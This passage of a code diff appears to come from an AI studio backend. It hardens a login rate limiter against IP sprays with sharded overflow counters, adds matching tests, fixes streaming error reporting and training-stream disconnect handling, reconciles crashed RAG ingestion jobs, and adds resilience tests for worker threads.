+_LAST_IP_PRUNE = 0.0
+# Sharded overflow for per-IP failures that can't get their own bucket while the
+# dict is saturated. Each shard is a small fixed-capacity dict ``ip -> [count,
+# window_start]``: a per-IP count (so a source is throttled, and cleared on
+# success, by its own failures -- no cross-IP collateral) with hard-bounded
+# memory and O(1) lookups. When a shard is full a new IP evicts the lowest-count
+# entry (and starts clean, never inheriting its count) rather than growing without
+# bound, so a high-cardinality spray can't blow memory/CPU the way a per-failure
+# deque could; a persistent attacker keeps a high count and is never the one
+# evicted.
+_LOGIN_IP_OVERFLOW_SHARDS = 256
+_LOGIN_IP_OVERFLOW_MAX = 64  # distinct IPs tracked per shard
+_LOGIN_IP_OVERFLOW: list[dict] = [dict() for _ in range(_LOGIN_IP_OVERFLOW_SHARDS)]
+
+
+def _overflow_shard(ip: str) -> dict:
+    return _LOGIN_IP_OVERFLOW[hash(ip) % _LOGIN_IP_OVERFLOW_SHARDS]
+
+
+def _overflow_record(ip: str, now: float) -> int:
+    """Record an overflow failure for ``ip`` and return its windowed count."""
+    shard = _overflow_shard(ip)
+    entry = shard.get(ip)
+    if entry is not None:
+        if now - entry[1] > _LOGIN_WINDOW_SECONDS:
+            entry[0], entry[1] = 1, now
+        else:
+            # Only "at or above the per-IP threshold" matters for blocking, so cap
+            # the count there. This also keeps the migration into a per-IP bucket
+            # bounded -- without the cap a saturated source could accrue an
+            # unbounded count, then materialize one deque entry per failure
+            # (``[start] * carried``) on the next attempt, allocating an arbitrarily
+            # large deque while holding the login lock.
+            entry[0] = min(entry[0] + 1, _LOGIN_IP_MAX_FAILS)
+        return entry[0]
+    if len(shard) >= _LOGIN_IP_OVERFLOW_MAX:
+        # Make room by dropping the lowest-count entry, but the new source starts
+        # clean -- never inherit the evicted IP's failures, or an unrelated source
+        # could be 429'd after one attempt. Worst case under a saturated shard is
+        # that a heavy hitter briefly resets, not that a bystander is blocked.
+        del shard[min(shard, key = lambda k: shard[k][0])]
+    shard[ip] = [1, now]
+    return 1
+
+
+def _overflow_blocked(ip: str, now: float) -> int:
+    """Seconds this IP is throttled by its own overflow count, or 0."""
+    shard = _overflow_shard(ip)
+    entry = shard.get(ip)
+    if entry is None:
+        return 0
+    if now - entry[1] > _LOGIN_WINDOW_SECONDS:
+        del shard[ip]
+        return 0
+    if entry[0] >= _LOGIN_IP_MAX_FAILS:
+        return max(1, int(_LOGIN_WINDOW_SECONDS - (now - entry[1])))
+    return 0
+
+
+def _overflow_take(ip: str, now: float) -> tuple[int, float]:
+    """Pop ip's overflow entry, returning its ``(count, window_start)`` so the
+    count can migrate into a fresh per-IP bucket. ``(0, now)`` if none/expired."""
+    entry = _overflow_shard(ip).pop(ip, None)
+    if entry is None or now - entry[1] > _LOGIN_WINDOW_SECONDS:
+        return 0, now
+    # Cap the carried count so the bucket migration never allocates more than the
+    # per-IP threshold worth of deque entries (defensive; _overflow_record already
+    # clamps, but keep the bound at the consumption site too).
+    return min(entry[0], _LOGIN_IP_MAX_FAILS), entry[1]
+
+
 # Unrepresentable as a real username (leading NUL); folds unknown-user attempts
 # into one slot so attacker cardinality can't blow the bucket dict.
 _UNKNOWN_LOGIN_USER = "\x00unknown-user"
@@ -169,13 +241,50 @@ def _prune_stale_buckets(now: float) -> None:
         _LOGIN_BUCKETS.pop(key, None)
 
 
+def _prune_stale_ip_buckets(now: float) -> None:
+    """Drop empty / expired per-IP buckets to bound memory under spray.
+
+    The dict is otherwise reclaimed only on a successful login, so a failure-only
+    spray from many (or spoofed) IPs would grow it without bound.
+    """
+    stale: list[str] = []
+    for bucket_ip, bucket in _LOGIN_IP_BUCKETS.items():
+        _prune_bucket(bucket, now)
+        if not bucket:
+            stale.append(bucket_ip)
+    for bucket_ip in stale:
+        _LOGIN_IP_BUCKETS.pop(bucket_ip, None)
+
+
 def _record_login_failure(key: tuple[str, str]) -> int:
+    global _LAST_IP_PRUNE
     now = time.monotonic()
     ip, _username = key
     with _LOGIN_BUCKETS_LOCK:
-        ip_bucket = _LOGIN_IP_BUCKETS.setdefault(ip, deque())
-        _prune_bucket(ip_bucket, now)
-        ip_bucket.append(now)
+        # Keep the dict bounded without disabling throttling and without letting a
+        # spray reset a hot bucket: for a new IP at the cap, reclaim expired buckets
+        # (rate-limited) to make room.
+        ip_bucket = _LOGIN_IP_BUCKETS.get(ip)
+        if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
+            if now - _LAST_IP_PRUNE >= 1.0:
+                _prune_stale_ip_buckets(now)
+                _LAST_IP_PRUNE = now
+        if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
+            # Still full -- every bucket is hot. Count this failure in the IP's
+            # bounded overflow shard instead of evicting a live one, so the spray
+            # stays throttled but can't push out (and reset) any IP's own counter.
+            ip_fails = _overflow_record(ip, now)
+        else:
+            if ip_bucket is None:
+                ip_bucket = _LOGIN_IP_BUCKETS[ip] = deque()
+                # Carry over any overflow failures this IP accrued while the dict
+                # was saturated, so straddling the overflow -> bucket transition
+                # can't double the effective per-IP limit.
+                carried, start = _overflow_take(ip, now)
+                ip_bucket.extend([start] * carried)
+            _prune_bucket(ip_bucket, now)
+            ip_bucket.append(now)
+            ip_fails = len(ip_bucket)
 
         if key not in _LOGIN_BUCKETS and len(_LOGIN_BUCKETS) >= _LOGIN_MAX_BUCKETS:
             _prune_stale_buckets(now)
@@ -184,8 +293,8 @@ def _record_login_failure(key: tuple[str, str]) -> int:
             _prune_bucket(account_bucket, now)
             account_bucket.append(now)
             return len(account_bucket)
-        # Bucket dict at cap; per-IP cap still applies via ip_bucket.
-        return len(ip_bucket)
+        # Both dicts at cap (sustained spray): fall back to the per-IP count.
+        return ip_fails
 
 
 def _blocked_for(bucket: deque | None, now: float, max_fails: int) -> int:
@@ -202,10 +311,16 @@ def _login_blocked(key: tuple[str, str]) -> int:
     now = time.monotonic()
     ip, _username = key
     with _LOGIN_BUCKETS_LOCK:
-        return max(
-            _blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS),
+        # Honor the IP's overflow shard regardless of current dict capacity: a
+        # source counted there during saturation must stay throttled until those
+        # failures age out, even if a bucket later frees up -- otherwise a fresh
+        # bucket would reset it. Shards are empty outside saturation, so this is a
+        # no-op in the common case.
+        ip_blocked = max(
             _blocked_for(_LOGIN_IP_BUCKETS.get(ip), now, _LOGIN_IP_MAX_FAILS),
+            _overflow_blocked(ip, now),
         )
+        return max(_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked)
 
 
 def _clear_login_bucket(key: tuple[str, str]) -> None:
@@ -213,6 +328,10 @@ def _clear_login_bucket(key: tuple[str, str]) -> None:
     with _LOGIN_BUCKETS_LOCK:
         _LOGIN_BUCKETS.pop(key, None)
         _LOGIN_IP_BUCKETS.pop(ip, None)
+        # A successful login resets the IP's throttle, including any overflow it
+        # accumulated during saturation (drop only this IP's entry, so a
+        # shard-mate's throttle is untouched).
+        _overflow_shard(ip).pop(ip, None)
 
 
 # Sync def (not async): compute_identity_proof touches SQLite on the first call,
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index e77616fb9f..a9c85fa99a 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -4486,6 +4486,14 @@ async def _proxy_to_external_provider(
         except Exception as exc:
             logger.error("external_provider.stream_error", error = str(exc))
             api_monitor.fail(monitor_id, _friendly_error(exc))
+            # Surface the failure: a bare EOF (e.g. after a read timeout) is treated
+            # by the chat client as success, saving a partial answer with no error.
+            yield (
+                "data: "
+                + json.dumps({"error": {"message": _friendly_error(exc), "type": "server_error"}})
+                + "\n\n"
+            )
+            yield "data: [DONE]\n\n"
         finally:
             try:
                 await gen.aclose()
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 38a2cab389..3818fe9f73 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -847,6 +847,11 @@ async def stream_training_progress(
         )
 
         while backend.is_training_active():
+            # Client gone: end the generator without falling through to the final
+            # "complete" frame, which a buffered/proxy consumer could otherwise read
+            # as a finished run while training is still active.
+            if await request.is_disconnected():
+                return
             try:
                 tp_inner = getattr(getattr(backend, "trainer", None), "training_progress", None)
                 live_step = (getattr(tp_inner, "step", 0) or 0) if tp_inner else 0
diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py
index 564e3284f8..4da600d768 100644
--- a/studio/backend/storage/rag_db.py
+++ b/studio/backend/storage/rag_db.py
@@ -156,3 +156,71 @@ def vec_table_exists(conn: sqlite3.Connection) -> bool:
         "SELECT 1 FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
     ).fetchone()
     return row is not None
+
+
+def _delete_document_chunks(conn, document_id: str) -> None:
+    """Delete a document's chunk rows (chunks/chunks_fts/chunks_vec), keeping the
+    documents row. Used when reconciling a half-ingested doc to failed: retrieval
+    filters by scope not status, so leftover chunks would stay citable."""
+    chunk_ids = [
+        r["id"]
+        for r in conn.execute(
+            "SELECT id FROM chunks WHERE document_id=?", (document_id,)
+        ).fetchall()
+    ]
+    if not chunk_ids:
+        return
+    has_vec = vec_table_exists(conn)
+    for chunk_id in chunk_ids:
+        conn.execute("DELETE FROM chunks_fts WHERE chunk_id=?", (chunk_id,))
+        if has_vec:
+            conn.execute("DELETE FROM chunks_vec WHERE chunk_id=?", (chunk_id,))
+    conn.execute("DELETE FROM chunks WHERE document_id=?", (document_id,))
+
+
+def reconcile_orphaned_ingestion_jobs() -> int:
+    """Fail ingestion jobs/documents left mid-flight by a crash so they stop
+    showing as stuck "processing" and become re-ingestible. Run at startup.
+    No-op without RAG. Returns the number of jobs reset.
+    """
+    if not RAG_AVAILABLE:
+        return 0
+    conn = get_connection()
+    try:
+        rows = conn.execute(
+            "SELECT id, document_id FROM ingestion_jobs "
+            "WHERE status NOT IN ('completed', 'failed')"
+        ).fetchall()
+        for row in rows:
+            doc = conn.execute(
+                "SELECT status FROM documents WHERE id=?", (row["document_id"],)
+            ).fetchone()
+            if doc is not None and doc["status"] == "completed":
+                # Worker finished indexing before the crash but didn't retire the
+                # job row. Mark the job completed (not failed) and keep its chunks,
+                # so the UI's getJob fallback after restart doesn't flag a
+                # searchable document as a failed ingestion.
+                conn.execute(
+                    "UPDATE ingestion_jobs SET status='completed', stage='done', "
+                    "progress=1.0, error=NULL WHERE id=?",
+                    (row["id"],),
+                )
+                continue
+            conn.execute(
+                "UPDATE ingestion_jobs SET status='failed', stage='error', "
+                "error='Server restarted during ingestion' WHERE id=?",
+                (row["id"],),
+            )
+            conn.execute(
+                "UPDATE documents SET status='failed' "
+                "WHERE id=? AND status NOT IN ('completed', 'failed')",
+                (row["document_id"],),
+            )
+            # A failed or still-in-flight doc must not leave citable chunks
+            # (retrieval filters by scope, not status); also drops any chunks of a
+            # doc already 'failed' before the crash.
+            _delete_document_chunks(conn, row["document_id"])
+        conn.commit()
+        return len(rows)
+    finally:
+        conn.close()
diff --git a/studio/backend/tests/test_data_recipe_pump_resilience.py b/studio/backend/tests/test_data_recipe_pump_resilience.py
new file mode 100644
index 0000000000..e702be7811
--- /dev/null
+++ b/studio/backend/tests/test_data_recipe_pump_resilience.py
@@ -0,0 +1,152 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Data-recipe job pump resilience.
+
+The pump is the sole consumer of worker events and sole writer of the job
+snapshot the status/SSE endpoints read; a handler error must not kill it, or the
+job stays wedged "active" and the workflow key is never retired. Fakes only.
+"""
+
+from __future__ import annotations
+
+import queue
+import sys
+import threading
+import time
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.data_recipe.jobs.manager import JobManager  # noqa: E402
+from core.data_recipe.jobs.types import Job  # noqa: E402
+
+
+class _FakeProc:
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+
+    def is_alive(self):
+        return self._alive
+
+
+class _ScriptedQueue:
+    def __init__(self, events):
+        self._events = list(events)
+
+    def get(self, timeout = None):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+    def get_nowait(self):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+def _manager_with_active_job():
+    m = JobManager.__new__(JobManager)
+    m._lock = threading.Lock()
+    job = Job(job_id = "job-test")
+    job.status = "active"
+    m._job = job
+    m._proc = _FakeProc(alive = True)
+    m._mp_q = _ScriptedQueue([])
+    return m
+
+
+def test_pump_survives_handler_exception_and_still_finalizes(monkeypatch):
+    m = _manager_with_active_job()
+    handled: list = []
+
+    def fake_handle(job, event):
+        if event.get("type") == "boom":
+            raise RuntimeError("malformed log line")
+        handled.append(event.get("type"))
+
+    emitted: list = []
+    retired: list = []
+    monkeypatch.setattr(m, "_handle_event", fake_handle)
+    monkeypatch.setattr(m, "_emit", lambda e: emitted.append(e))
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    m._mp_q = _ScriptedQueue(
+        [{"type": "boom"}, {"type": "log"}, {"type": "boom"}, {"type": "progress"}]
+    )
+
+    pump = threading.Thread(target = m._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled == ["log", "progress"]
+        ), "pump must keep processing events after a handler raises"
+        assert pump.is_alive()
+    finally:
+        m._proc._alive = False  # worker exits -> pump should finalize and stop
+        pump.join(timeout = 5)
+
+    assert not pump.is_alive()
+    # The exited worker is finalized as error (not left wedged "active") and the
+    # workflow key is retired despite the earlier handler exceptions.
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
+
+
+def test_pump_finalizes_when_drain_raises(monkeypatch):
+    m = _manager_with_active_job()
+    monkeypatch.setattr(m, "_emit", lambda e: None)
+    retired: list = []
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    class _BadDrainQueue:
+        def get(self, timeout = None):
+            raise queue.Empty
+
+        def get_nowait(self):
+            raise RuntimeError("corrupt drain payload")
+
+    m._proc = _FakeProc(alive = False)
+    m._mp_q = _BadDrainQueue()
+
+    m._pump_loop()  # returns once it sees the dead worker
+
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
+
+
+def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
+    # A read that keeps raising after the child died must not spin the pump
+    # forever: once the worker is gone it falls through to finalize.
+    m = _manager_with_active_job()
+    monkeypatch.setattr(m, "_emit", lambda e: None)
+    retired: list = []
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    class _BrokenReadQueue:
+        def get(self, timeout = None):
+            raise RuntimeError("broken queue pipe")
+
+        def get_nowait(self):
+            raise queue.Empty
+
+    m._proc = _FakeProc(alive = False)
+    m._mp_q = _BrokenReadQueue()
+
+    pump = threading.Thread(target = m._pump_loop, daemon = True)
+    pump.start()
+    pump.join(timeout = 5)
+    assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising"
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
new file mode 100644
index 0000000000..2de833db0e
--- /dev/null
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -0,0 +1,91 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Inference dispatcher resilience.
+
+The dispatcher thread is the sole consumer of the response queue; if a malformed
+response killed it, every in-flight generation would hang forever. A bad response
+must be logged and skipped, not fatal. Fakes only.
+"""
+
+from __future__ import annotations
+
+import queue
+import sys
+import threading
+import time
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.orchestrator import InferenceOrchestrator  # noqa: E402
+
+
+class _ScriptedQueue:
+    def __init__(self, items):
+        self._items = list(items)
+
+    def get(self, timeout = None):
+        if self._items:
+            return self._items.pop(0)
+        raise queue.Empty
+
+
+def _dispatcher():
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._dispatcher_stop = threading.Event()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    return o
+
+
+def test_dispatcher_survives_malformed_response_and_routes_next():
+    o = _dispatcher()
+    rid = "req-1"
+    mbox = queue.Queue()
+    o._mailboxes = {rid: mbox}
+    # A non-dict response (resp.get -> AttributeError) must not kill the loop;
+    # the following valid response must still reach its mailbox.
+    o._resp_queue = _ScriptedQueue([12345, {"request_id": rid, "type": "token", "text": "hi"}])
+
+    t = threading.Thread(target = o._dispatcher_loop, daemon = True)
+    t.start()
+    try:
+        got = mbox.get(timeout = 5)
+        assert got["text"] == "hi", "valid response must route despite the prior bad one"
+        assert t.is_alive(), "dispatcher must survive a malformed response"
+    finally:
+        o._dispatcher_stop.set()
+        t.join(timeout = 5)
+    assert not t.is_alive()
+
+
+def test_dispatcher_survives_mailbox_put_error():
+    o = _dispatcher()
+    rid = "req-2"
+
+    class _BadMailbox:
+        def put(self, _resp):
+            raise RuntimeError("mailbox is broken")
+
+    good = queue.Queue()
+    o._mailboxes = {rid: _BadMailbox(), "req-3": good}
+    o._resp_queue = _ScriptedQueue(
+        [
+            {"request_id": rid, "type": "token", "text": "boom"},
+            {"request_id": "req-3", "type": "token", "text": "ok"},
+        ]
+    )
+
+    t = threading.Thread(target = o._dispatcher_loop, daemon = True)
+    t.start()
+    try:
+        got = good.get(timeout = 5)
+        assert got["text"] == "ok"
+        assert t.is_alive()
+    finally:
+        o._dispatcher_stop.set()
+        t.join(timeout = 5)
+    assert not t.is_alive()
diff --git a/studio/backend/tests/test_login_rate_limit.py b/studio/backend/tests/test_login_rate_limit.py
index 14b10576da..6f9635e41e 100644
--- a/studio/backend/tests/test_login_rate_limit.py
+++ b/studio/backend/tests/test_login_rate_limit.py
@@ -29,9 +29,15 @@ def _reset_buckets():
 
     auth_routes._LOGIN_BUCKETS.clear()
     auth_routes._LOGIN_IP_BUCKETS.clear()
+    for _shard in auth_routes._LOGIN_IP_OVERFLOW:
+        _shard.clear()
+    auth_routes._LAST_IP_PRUNE = 0.0
     yield
     auth_routes._LOGIN_BUCKETS.clear()
     auth_routes._LOGIN_IP_BUCKETS.clear()
+    for _shard in auth_routes._LOGIN_IP_OVERFLOW:
+        _shard.clear()
+    auth_routes._LAST_IP_PRUNE = 0.0
 
 
 @pytest.fixture
@@ -215,6 +221,245 @@ class TestBucketKeyAndBlocking:
         # Hard cap respected; further keys don't allocate.
         assert len(auth_routes._LOGIN_BUCKETS) <= 10
 
+    def test_ip_bucket_cap_bounds_without_disabling_throttling(self, env_no_proxy, monkeypatch):
+        """The per-IP dict is bounded, but saturating it must NOT disable
+        throttling: a new IP that keeps failing after the cap is hit is still
+        blocked (now via the shared overflow counter)."""
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Saturate the per-IP dict with distinct source IPs.
+        for idx in range(50):
+            auth_routes._record_login_failure((f"198.51.100.{idx}", "admin"))
+        assert len(auth_routes._LOGIN_IP_BUCKETS) <= 10  # bounded
+
+        # A brand-new IP arriving after saturation is still throttled: it can't get
+        # its own bucket, so its failures land in the shared overflow counter.
+        victim = ("203.0.113.99", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(victim)
+        assert auth_routes._login_blocked(victim) > 0
+
+    def test_saturating_spray_cannot_reset_a_hot_ip_bucket(self, env_no_proxy, monkeypatch):
+        """An IP flooding the dict must not evict (and reset) its own hot bucket.
+
+        With FIFO eviction the oldest-inserted bucket -- the attacker's own, now
+        blocked -- was popped once enough fresh IPs arrived, letting the attacker
+        retry as first-seen. The overflow counter must keep it throttled.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        attacker = ("203.0.113.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0  # attacker is throttled
+
+        # Attacker sprays many distinct IPs to try to push its own bucket out.
+        for idx in range(100):
+            auth_routes._record_login_failure((f"198.51.100.{idx}", "admin"))
+
+        # Still throttled: its hot bucket survived rather than being evicted.
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_is_sharded_so_a_hot_ip_does_not_block_unrelated_ips(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A saturating spray must not globally deny login: a hot overflow shard
+        throttles only the IPs that hash to it, not every new unbucketed client.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the bucket dict so further new IPs fall through to overflow.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+
+        # Drive one IP's real overflow shard hot.
+        attacker_ip = "198.51.100.7"
+        for _ in range(5):
+            auth_routes._record_login_failure((attacker_ip, "admin"))
+        assert auth_routes._login_blocked((attacker_ip, "admin")) > 0
+
+        # A new IP in a *different* shard must not be denied (a single global
+        # counter would block it; a sharded one preserves per-source isolation).
+        attacker_shard = auth_routes._overflow_shard(attacker_ip)
+        victim_ip = next(
+            f"203.0.113.{i}"
+            for i in range(256)
+            if auth_routes._overflow_shard(f"203.0.113.{i}") is not attacker_shard
+        )
+        assert auth_routes._login_blocked((victim_ip, "admin")) == 0
+
+    def test_overflow_throttle_survives_capacity_freeing(self, env_no_proxy, monkeypatch):
+        """A source throttled via overflow must stay throttled even if a bucket
+        frees up before the window expires; otherwise a fresh bucket resets it.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the dict, then drive a source's overflow shard hot.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker = ("198.51.100.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+        # A successful login from another IP frees a bucket slot.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        assert len(auth_routes._LOGIN_IP_BUCKETS) < auth_routes._LOGIN_MAX_BUCKETS
+
+        # Still throttled (overflow shard still hot), and a new failure that now
+        # gets a fresh per-IP bucket must not reset the throttle.
+        assert auth_routes._login_blocked(attacker) > 0
+        auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_shard_is_memory_bounded_under_cardinality_spray(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A high-cardinality spray must not grow overflow memory without bound:
+        each shard tracks at most _LOGIN_IP_OVERFLOW_MAX distinct IPs.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 8)
+
+        # Saturate the dict, then spray thousands of distinct one-off IPs.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        for idx in range(5000):
+            auth_routes._record_login_failure((f"198.51.{idx // 256}.{idx % 256}", "admin"))
+
+        assert all(len(shard) <= 8 for shard in auth_routes._LOGIN_IP_OVERFLOW)
+
+    def test_overflow_eviction_does_not_inherit_count_onto_new_ip(self, env_no_proxy, monkeypatch):
+        """Evicting a hot entry to make room must not hand its failure count to the
+        new source; one attempt from an unrelated IP must not 429 it.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 2)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+        # Force every overflow IP into one shard so we can saturate it.
+        shard0 = auth_routes._LOGIN_IP_OVERFLOW[0]
+        monkeypatch.setattr(auth_routes, "_overflow_shard", lambda _ip: shard0)
+
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        # Fill the shard (cap 2) with two hot IPs at/over the threshold.
+        for _ in range(5):
+            auth_routes._record_login_failure(("198.51.100.1", "admin"))
+        for _ in range(5):
+            auth_routes._record_login_failure(("198.51.100.2", "admin"))
+        assert len(shard0) == 2
+
+        # A new IP evicts the lowest-count entry; it must start clean, so one
+        # failure leaves it below the threshold and unblocked.
+        new_ip = ("203.0.113.50", "admin")
+        auth_routes._record_login_failure(new_ip)
+        assert auth_routes._login_blocked(new_ip) == 0
+
+    def test_overflow_count_migrates_into_new_bucket(self, env_no_proxy, monkeypatch):
+        """Straddling the overflow -> bucket transition must not double the per-IP
+        limit: the overflow count carries into the freshly created bucket.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate, then push one IP to 4 overflow failures (one below threshold).
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker = ("198.51.100.7", "admin")
+        for _ in range(4):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) == 0  # 4 < 5
+
+        # Free a slot so the next failure lands in a fresh per-IP bucket.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        # One more failure must throttle (4 carried + 1 = 5), not reset to 1.
+        auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_migration_is_bounded_not_one_entry_per_failure(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A saturated IP can rack up many overflow failures; migrating them into a
+        fresh bucket must allocate at most the per-IP threshold worth of entries,
+        not one deque entry per recorded failure (which would let a single later
+        attempt allocate an arbitrarily large deque under the login lock).
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100000)
+
+        # Saturate the dict, then hammer one IP far past the threshold in overflow.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker_ip = "198.51.100.7"
+        attacker = (attacker_ip, "admin")
+        for _ in range(5000):
+            auth_routes._record_login_failure(attacker)
+        # The stored overflow count is clamped at the threshold, not 5000.
+        entry = auth_routes._overflow_shard(attacker_ip).get(attacker_ip)
+        assert entry is not None and entry[0] <= auth_routes._LOGIN_IP_MAX_FAILS
+
+        # Free a slot so the next failure migrates the overflow count into a bucket.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        auth_routes._record_login_failure(attacker)
+        bucket = auth_routes._LOGIN_IP_BUCKETS[attacker_ip]
+        # Bounded by the threshold (+1 for the triggering failure), not ~5000.
+        assert len(bucket) <= auth_routes._LOGIN_IP_MAX_FAILS + 1
+        # Still throttled -- bounding the migration must not weaken the limit.
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_successful_login_clears_overflow_throttle(self, env_no_proxy, monkeypatch):
+        """A successful login resets the IP's throttle, including overflow, so a
+        single later typo is not immediately blocked.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the dict, then push one IP into overflow until it is throttled.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        ip = ("198.51.100.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(ip)
+        assert auth_routes._login_blocked(ip) > 0
+
+        # A successful login from that IP clears its overflow entries...
+        auth_routes._clear_login_bucket(ip)
+        assert auth_routes._login_blocked(ip) == 0
+        # ...and a single subsequent failure does not immediately re-block it.
+        auth_routes._record_login_failure(ip)
+        assert auth_routes._login_blocked(ip) == 0
+
 
 # ---------- /login 429 body ----------
 
